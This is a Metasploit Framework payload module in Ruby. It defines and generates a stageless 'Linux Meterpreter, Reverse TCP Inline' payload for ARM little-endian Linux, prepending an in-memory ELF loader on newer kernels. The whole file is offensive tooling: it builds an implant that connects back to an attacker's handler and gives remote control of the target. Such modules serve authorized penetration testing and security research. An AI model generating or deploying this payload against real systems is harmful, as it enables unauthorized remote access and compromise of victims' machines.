##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


# Module generated by tools/modules/generate_mettle_payloads.rb
module MetasploitModule
  CachedSize = 1106988

  include Msf::Payload::Single
  include Msf::Sessions::MeterpreterOptions::Linux
  include Msf::Sessions::MettleConfig
  include Msf::Payload::Linux::Armle::ElfLoader
  include Msf::Payload::Linux::Armle::Prepends

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'          => 'Linux Meterpreter, Reverse TCP Inline',
        'Description'   => 'Run the Meterpreter / Mettle server payload (stageless)',
        'Author'        => [
          'Adam Cammack <adam_cammack[at]rapid7.com>',
          'Brent Cook <brent_cook[at]rapid7.com>',
          'timwr'
        ],
        'Platform'      => 'linux',
        'Arch'          => ARCH_ARMLE,
        'License'       => MSF_LICENSE,
        'Handler'       => Msf::Handler::ReverseTcp,
        'Session'       => Msf::Sessions::Meterpreter_armle_Linux
      )
    )
  end

  def generate(_opts = {})
    opts = {
      scheme: 'tcp',
      stageless: true
    }.merge(mettle_logging_config)
    payload = MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config(opts)).to_binary :exec
    ds = opts[:datastore] || datastore
    if Rex::Version.new(ds['PayloadLinuxMinKernel']) < Rex::Version.new('3.17')
      return payload
    end
    in_memory_load(payload) + payload
  end
end
